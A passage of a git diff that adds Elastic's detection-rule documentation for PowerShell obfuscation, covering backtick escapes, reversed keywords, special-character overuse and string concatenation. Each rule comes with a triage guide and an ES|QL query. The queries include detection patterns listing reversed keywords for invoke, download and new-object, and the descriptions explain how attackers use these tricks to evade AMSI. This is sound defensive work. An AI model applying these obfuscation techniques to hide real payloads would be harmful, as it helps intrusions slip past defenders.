https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-invalid-escape-sequences.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-invalid-escape-sequences.asciidoc new file mode 100644 index 0000000000..a66349d198 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-invalid-escape-sequences.asciidoc @@ -0,0 +1,230 @@ +[[prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-invalid-escape-sequences]] +=== Potential PowerShell Obfuscation via Invalid Escape Sequences + +Detects PowerShell scripts with repeated invalid backtick escapes between word characters (letters, digits, underscore, or dash), splitting tokens while preserving execution. Attackers use this obfuscation to fragment keywords and evade pattern-based detection and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential PowerShell Obfuscation via Invalid Escape Sequences* + + +This rule flags PowerShell script block content that repeatedly inserts invalid backtick escape sequences within otherwise contiguous word characters. This can fragment tokens (cmdlets, parameters, variable names, strings) while preserving execution and readability to the interpreter, which can hinder content inspection and pattern-based detections. + +Analyst goals: +- Reconstruct complete script block content when split across multiple events. +- Normalize the content (remove or correct invalid escapes) to reveal the underlying logic. +- Determine execution context (host, user, script origin) and correlate with adjacent activity to assess intent and impact. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Establish timeline and ownership: + - Anchor the activity using `@timestamp`, then record `host.name`, `host.id`, and `agent.id`. + - Identify the execution context with `user.name`, `user.domain`, and `user.id`. Note whether the account is expected to run PowerShell on this host and whether the host is commonly used for scripting. + +- Assess the likelihood of intentional obfuscation: + - Review `Esql.script_block_pattern_count` to understand how heavily the content is fragmented. Higher counts generally increase confidence that this is deliberate obfuscation rather than incidental escaping. + - Use `powershell.file.script_block_length` as size context and review `powershell.file.script_block_entropy_bits`, `powershell.file.script_block_unique_symbols`, and `powershell.file.script_block_surprisal_stdev` to characterize the content (simple text vs. mixed/randomized payloads). + - Compare `Esql.script_block_tmp` to `powershell.file.script_block_text` to understand where obfuscation is concentrated (localized string vs. widespread token fragmentation). + +- Reconstruct complete content when split across events: + - If `powershell.total` is greater than 1, pivot on `powershell.file.script_block_id` and rebuild the script by ordering segments on `powershell.sequence`. + - Validate the reconstructed set is complete (sequence 1 through `powershell.total`). Missing segments should be treated as an investigative gap and may require additional scoping. + +- Determine script origin and delivery: + - If `file.path`, `file.directory`, and `file.name` are present, treat the script block as file-associated. Evaluate whether the location and naming are consistent with approved scripts or expected tooling for the endpoint. + - If file fields are absent, treat the script as inline or dynamically generated content and prioritize correlation by `host.id`, `user.id`, and time. + +- Normalize and interpret the script content safely: + - In a controlled analysis workflow, normalize the script by removing or correcting invalid backtick insertions so that split tokens become readable. Keep both the original and normalized versions for reporting. + - Review the normalized text for behaviors that indicate malicious intent (secondary payload retrieval, dynamic execution, decoding/decompression, data collection, persistence logic, or remote interaction). + - Extract and document indicators present in the content (network destinations, file paths/names, unique strings, or embedded encoded blobs) for scoping. + +- Correlate within PowerShell telemetry: + - Pivot on `host.id` and `user.id` to identify additional `powershell.file.script_block_text` events shortly before and after the alert time to capture staging, follow-on commands, and potential cleanup. + - Check for the same `powershell.file.script_block_id` appearing across hosts, or for repeated normalized strings, to identify automation reuse or broader activity. + +- Correlate with adjacent endpoint activity (if available in your environment): + - Review process execution around `@timestamp` on `host.name` to identify the PowerShell host process and its parent, then assess whether the launch chain aligns with expected activity for the user and endpoint. + - Review network activity around the alert time for connections that align with indicators extracted from the script content. + - Review file and registry activity around the same time window for artifacts consistent with the script (new or modified scripts, dropped files, or persistence-related changes). + - Review authentication activity associated with `user.id` around the alert time for suspicious logons or remote access that may align with script execution. + +- Scope impact: + - Search for other alerts/events with similar obfuscation characteristics on the same host and for the same user to determine whether this is a one-off execution or a repeated pattern. + - If multiple hosts are involved, prioritize investigation for critical assets and accounts with elevated privileges. + + +*False positive analysis* + + +- Legitimate scripts can contain backticks for formatting, string construction, or content generation; however, repeated invalid escape sequences embedded inside alphanumeric tokens are uncommon. Validate whether the execution context (`host.id`, `user.id`) aligns with known administrative or developer activity. +- Some commercial or internal tools intentionally obfuscate PowerShell to protect intellectual property. Confirm whether the script origin (`file.path` when present), account context, and prevalence across the environment match an approved application or workflow. +- Copy/paste artifacts and encoding transformations can introduce unexpected characters. When suspected, compare the normalized content to known-good scripts and assess whether the obfuscation is systematic (repeating across many tokens) versus localized. + + +*Response and remediation* + + +- If the activity is confirmed or strongly suspected malicious: + - Contain affected host(s) to prevent further execution and lateral movement. + - Preserve evidence: reconstructed `powershell.file.script_block_text`, `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, and alert-derived fields (`Esql.script_block_tmp`, `Esql.script_block_pattern_count`, and the script block metrics). + - If `file.path` is present, collect and quarantine the referenced script and review the surrounding directory for related artifacts. + - Use indicators extracted from normalized content to scope related activity across endpoints (pivot on `host.id`, `user.id`, `file.path`, and unique strings from the script). + - Coordinate credential remediation for affected accounts when remote execution, credential material, or post-exploitation behavior is suspected. + +- If the activity is benign but requires reduction: + - Document the legitimate source (expected hosts/users and `file.path` when applicable). + - Apply narrowly scoped tuning using stable attributes available in the alert (such as `host.id`, `user.id`, and `file.path`) and continue monitoring for deviations in script content and execution context. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" and powershell.file.script_block_text like "*`*" + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace(powershell.file.script_block_text, """[A-Za-z0-9_-]`(?![rntb]|\r|\n|\d)[A-Za-z0-9_-]""", "🔥") + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_tmp, + powershell.file.*, + file.name, + file.directory, + file.path, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts that match the pattern at least 20 times +| where Esql.script_block_pattern_count >= 20 + +| where file.name not like "TSS_*.psm1" + // ESQL requires this condition, otherwise it only returns matches where file.name exists. + or file.name is null + +// VSCode Shell integration +| where not powershell.file.script_block_text like "*$([char]0x1b)]633*" + +| where not file.directory == "C:\\Program Files\\MVPSI\\JAMS\\Agent\\Temp" + // ESQL requires this condition, otherwise it only returns matches where file.directory exists. + or file.directory is null + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-reverse-keywords.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-reverse-keywords.asciidoc new file mode 100644 index 0000000000..78debea86e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-reverse-keywords.asciidoc @@ -0,0 +1,217 @@ +[[prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-reverse-keywords]] +=== Potential PowerShell Obfuscation via Reverse Keywords + +Detects PowerShell scripts containing reversed keyword strings associated with execution or network activity (for example, ekovni, noisserpxe, daolnwod, tcejbo-wen, tcejboimw, etc.). Attackers reverse keywords and reconstruct them at runtime to hide intent and evade static detection and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential PowerShell Obfuscation via Reverse Keywords* + + +This alert indicates PowerShell script block content contains multiple reversed keyword strings commonly associated with execution, string manipulation, environment discovery, or networking. Reversing strings is frequently paired with runtime reconstruction (for example, reversing character arrays or joining string fragments) to reduce readability and evade simple content inspection. + +Determine whether the script is part of expected administrative automation, software tooling, or an unauthorized execution chain. Prioritize analysis that reconstructs the full script, deobfuscates the reversed tokens, and identifies any follow-on behaviors such as dynamic execution, network access, or system discovery. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Identify the execution scope and ownership: + - Review `host.name` / `host.id` to confirm the affected endpoint and its criticality. + - Review `user.id` (and `user.name` / `user.domain` if available) to understand the account context and whether this user is expected to run PowerShell on this host. +- Prioritize based on obfuscation signals: + - Review `Esql.script_block_pattern_count`; higher counts suggest more extensive keyword hiding and can increase suspicion. + - Use `powershell.file.script_block_length`, `powershell.file.script_block_entropy_bits`, `powershell.file.script_block_unique_symbols`, and `powershell.file.script_block_surprisal_stdev` to gauge how heavily obfuscated or machine-generated the content may be (treat these as supporting context, not proof of maliciousness). +- Reconstruct the full script content when split: + - If `powershell.total` is greater than 1, retrieve all events with the same `powershell.file.script_block_id` and order them by `powershell.sequence` to rebuild the complete script block content. + - Preserve both the reconstructed script and the original per-event `powershell.file.script_block_text` to maintain context and ordering. +- Deobfuscate and interpret intent: + - Review `powershell.file.script_block_text` for reversed tokens and reverse them to identify the intended keywords and operations (for example, indicators of dynamic execution, downloads, socket/connection handling, WMI usage, or Win32 references). + - Look for runtime string reconstruction patterns in the script content (for example, joins, character array operations, or replace operations) that turn reversed fragments into executable commands or parameters. + - Use `Esql.script_block_tmp` to quickly locate the matched areas, then validate findings against `powershell.file.script_block_text`. +- Evaluate file-origin context (when present): + - Review `file.path` (and `file.directory` / `file.name` if available) to determine whether the script is associated with an on-disk file and whether that location aligns with your organization's expected script locations and deployment practices. + - If an on-disk script is indicated, coordinate collection of the referenced file for offline analysis and determine whether it is present on other systems. +- Extract and operationalize indicators: + - From `powershell.file.script_block_text`, extract any embedded indicators such as hostnames, IP addresses, URLs, ports, file paths, or encoded blobs. + - Use extracted indicators to scope for related activity on the same `host.id` and across other hosts where the same `user.id` is active, focusing on the alert timeframe and immediately adjacent activity. +- Correlate with adjacent telemetry to identify the execution chain and impact (as available in your environment): + - Process activity: identify the PowerShell host process and the initiating parent process to understand whether execution was interactive, scheduled, or launched by another program. + - Network activity: look for outbound connections aligned with the alert timestamp, especially if deobfuscated content suggests downloads or socket connections. + - File and registry activity: look for payload staging, new or modified files, or persistence-related changes that occur shortly after the script block execution. + - Authentication activity: review for suspicious logons, remote session creation, or lateral movement attempts around the same time on the affected host. +- Determine severity and next actions: + - If the deobfuscated content indicates remote retrieval, execution of downloaded content, credential access, persistence, or lateral movement, treat the alert as potentially malicious and escalate for response. + - If the script appears benign, document the validated purpose, expected owner, and any recurring identifiers (such as file location patterns) to support future triage. + + +*False positive analysis* + + +- Internal scripts or tooling may use reversed strings as lightweight obfuscation to conceal configuration values or reduce casual readability. Validate the script's ownership, change history, and whether its presence and execution timing are expected for `host.id` and `user.id`. +- Commercial software, endpoint management agents, or security tooling may generate or embed obfuscated PowerShell during installation, updates, or health checks. Validate whether the activity aligns with known maintenance windows, expected endpoints, and consistent script content and `file.path` patterns. +- Authorized security testing may intentionally use string reversal. Confirm the scope, timing, and target hosts with the appropriate stakeholders before closing the alert. + + +*Response and remediation* + + +- If activity is suspicious or unauthorized, contain the affected host to prevent further script execution and potential follow-on actions. +- Preserve evidence: + - Retain the full `powershell.file.script_block_text` (including all segments reconstructed via `powershell.file.script_block_id`, `powershell.sequence`, and `powershell.total`). + - Retain `file.path` context and the alert metadata needed to pivot (such as `host.id` and `user.id`). +- Identify and remediate the execution source: + - Determine how PowerShell was launched (interactive, scheduled, or by another process) using correlated telemetry, and remove the triggering mechanism. + - If an on-disk script is involved, remediate the file at `file.path` and any associated payloads or artifacts identified during analysis. +- Scope and hunt: + - Search for the same or similar obfuscated content and extracted indicators across other endpoints, prioritizing systems accessed by the same `user.id` and systems with similar `file.path` patterns. +- Account actions: + - If account misuse is suspected, follow organizational procedures to contain the account (for example, credential reset and session revocation) and review recent activity for additional suspicious behavior. +- Recovery and hardening: + - Verify PowerShell logging coverage and retention are sufficient for incident response, and monitor for recurrence of similar reversed-keyword patterns on affected hosts and users. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" + +// Filter for scripts that contains these keywords using MATCH, boosts the query performance, +// match will ignore the | and look for the individual words +| where powershell.file.script_block_text : "rahc|metsys|stekcos|tcejboimw|ecalper|ecnerferpe|noitcennoc|nioj|eman|vne|gnirts|tcejbo-wen|_23niw|noisserpxe|ekovni|daolnwod" + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace( + powershell.file.script_block_text, + """(?i)(rahc|metsys|stekcos|tcejboimw|ecalper|ecnerferpe|noitcennoc|nioj|eman\.|:vne$|gnirts|tcejbo-wen|_23niw|noisserpxe|ekovni|daolnwod)""", + "🔥" +) + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_tmp, + powershell.file.*, + file.path, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts that match the pattern at least twice +| where Esql.script_block_pattern_count >= 2 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-special-character-overuse.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-special-character-overuse.asciidoc new file mode 100644 index 0000000000..47156fa005 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-special-character-overuse.asciidoc @@ -0,0 +1,231 @@ +[[prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-special-character-overuse]] +=== Potential PowerShell Obfuscation via Special Character Overuse + +Detects PowerShell scripts dominated by whitespace and special characters with low symbol diversity, a profile often produced by formatting or encoding obfuscation. Attackers use symbol-heavy encoding or formatting (for example, SecureString-style blobs or character-level transforms) to hide payloads and evade static analysis and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential PowerShell Obfuscation via Special Character Overuse* + + +This rule flags PowerShell script block content that is unusually long and dominated by whitespace and a narrow set of special characters. This profile is often associated with formatting or encoding obfuscation where payload logic is transformed into symbol-heavy strings and reconstructed at runtime. Use the steps below to validate execution context, reconstruct full content, determine likely intent, and scope related activity. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_ratio`: Proportion of the script block's characters that match the alert's target character set, divided by total script length (0-1). +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Review alert context and scope: + - Use `@timestamp` to identify when the activity occurred and to bound the timeline for correlation. + - Review `host.name` and `host.id` to understand which endpoint produced the script block. + - Review `user.name`, `user.domain`, and `user.id` to determine whether the account is expected to run PowerShell on this host. + - If multiple alerts are present, group by `host.id` and `user.id` to identify concentrated or repeat activity. + +- Analyze the script block content for obfuscation and intent: + - Inspect `powershell.file.script_block_text` to understand what is being executed. Obfuscation commonly presents as large blocks of escaped characters, excessive punctuation, and character-level reassembly. + - Use `Esql.script_block_tmp` to quickly locate symbol-dense regions, then interpret the corresponding content in `powershell.file.script_block_text`. + - Use `Esql.script_block_ratio`, `powershell.file.script_block_unique_symbols`, `powershell.file.script_block_entropy_bits`, and `powershell.file.script_block_surprisal_stdev` to gauge how atypical the content is compared to known-good scripts in your environment. + - Identify deobfuscation and runtime execution patterns such as repeated string replacement, concatenation, `[char]` casting, `-join`, formatting operators, reflection, and dynamic invocation (for example, `Invoke-Expression` or executing decoded strings). + - Capture any embedded indicators from `powershell.file.script_block_text`, including URLs, hostnames, IP addresses, file paths, registry paths, or scheduled task/service names. + +- Reconstruct full script content when logged in chunks: + - If `powershell.total` indicates multiple fragments, pivot on `powershell.file.script_block_id` and reassemble the script in `powershell.sequence` order. + - Confirm completeness by comparing observed fragments to `powershell.total`. Missing segments can hide key decode or execution stages. + +- Validate script origin and expected usage: + - Review `file.path`, `file.directory`, and `file.name` (when present) to determine whether the script originated from disk, a module path, or an unusual location. + - If the script is file-backed, assess whether the file location and naming are consistent with approved administration and automation practices for the host and user. + +- Scope for related PowerShell activity: + - Pivot on `powershell.file.script_block_hash` (when available) to identify repeated executions of the same content across hosts and users. + - Review additional script blocks on the same `host.id` and `user.id` around the alert time for staging behavior (variable setup, decoding routines, or creation of additional script blocks). + - Use stable substrings from `powershell.file.script_block_text` (unique function names or strings) to find related executions that may not match this specific obfuscation profile. + +- Correlate with adjacent telemetry to confirm execution chain and impact (if available): + - Use `host.id`, `user.id`, and `@timestamp` to pivot into process telemetry and determine which process initiated PowerShell and whether the parent process is expected. + - Review activity on the same host around the alert time for signs of follow-on behavior such as outbound connections, file creation/modification, registry changes, or persistence mechanisms consistent with the recovered script logic. + + +*False positive analysis* + + +- Legitimate automation can embed large protected or serialized values (for example, encrypted configuration blobs or SecureString exports) that appear symbol-heavy. +- Deployment and configuration tooling may generate templated PowerShell with extensive escaping or large here-strings, especially when embedding JSON/XML or code as data. +- Authorized security testing may use obfuscation techniques that resemble this behavior. +- To validate a benign source, confirm the script's provenance and repeatability: + - Check whether `file.path` (when present) and `powershell.file.script_block_hash` consistently map to an approved script, owner, and expected execution pattern. + - Compare the alerting `user.id` and `host.id` against known automation accounts and managed endpoints; unexpected combinations warrant escalation. + + +*Response and remediation* + + +- If malicious or suspicious activity is confirmed: + - Contain the affected host according to your incident response procedures to prevent additional execution and lateral movement. + - Preserve evidence for triage and forensics, including `powershell.file.script_block_text` (and any reconstructed content), `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, `powershell.file.script_block_hash` (if available), `file.path` (if present), and the execution context (`host.name`, `host.id`, `user.name`, `user.domain`, `user.id`, `agent.id`, `@timestamp`). + - Scope the activity by searching for the same `powershell.file.script_block_hash` and any extracted indicators across the environment. + - Identify and remediate follow-on actions associated with the script (downloaded payloads, dropped files, persistence changes, or credential access). Apply blocking controls for confirmed indicators where feasible. + - If the script content indicates credential material handling or unauthorized automation, rotate affected credentials and review account activity for misuse. + +- If the activity is determined to be benign: + - Document the script owner, purpose, and expected execution context (hosts, users, and schedule), using `file.path` and `powershell.file.script_block_hash` (when available) as stable identifiers. + - Monitor for drift, such as execution by different users/hosts, unexpected file paths, or material changes in the script block content. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + +This rule uses the following fields that require the Windows Integration v3.3.0 and up: `powershell.file.script_block_unique_symbols`. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" + +// filter for scripts with low unique symbol counts, which can indicate special character obfuscation +| where powershell.file.script_block_unique_symbols < 50 + +// replace repeated spaces used for formatting after a new line with a single space to reduce FPs +| eval Esql.script_block_tmp = replace(powershell.file.script_block_text, """\n\s+""", "\n ") + +// Look for scripts with more than 1000 chars +| eval Esql.script_block_length = length(Esql.script_block_tmp) +| where Esql.script_block_length > 1000 + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace( + Esql.script_block_tmp, + """[\s\$\{\}\+\@\=\(\)\^\\\"~\[\]\?\./%#\`\'\;\-\!\*]""", + "🔥" +) + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_count = Esql.script_block_length - length(replace(Esql.script_block_tmp, "🔥", "")) + +// Calculate the ratio of special characters to total length +| eval Esql.script_block_ratio = Esql.script_block_count::double / Esql.script_block_length::double + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_count, + Esql.script_block_length, + Esql.script_block_ratio, + Esql.script_block_tmp, + powershell.file.*, + file.path, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts with high whitespace and special character ratio +| where Esql.script_block_ratio >= 0.75 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-string-concatenation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-string-concatenation.asciidoc new file mode 100644 index 0000000000..1c121bfb03 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-string-concatenation.asciidoc @@ -0,0 +1,217 @@ +[[prebuilt-rule-8-19-20-potential-powershell-obfuscation-via-string-concatenation]] +=== Potential PowerShell Obfuscation via String Concatenation + +Detects PowerShell scripts that repeatedly concatenates multiple quoted string literals with + to assemble commands or tokens at runtime. Attackers use string concatenation to fragment keywords or URLs and evade static analysis and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per 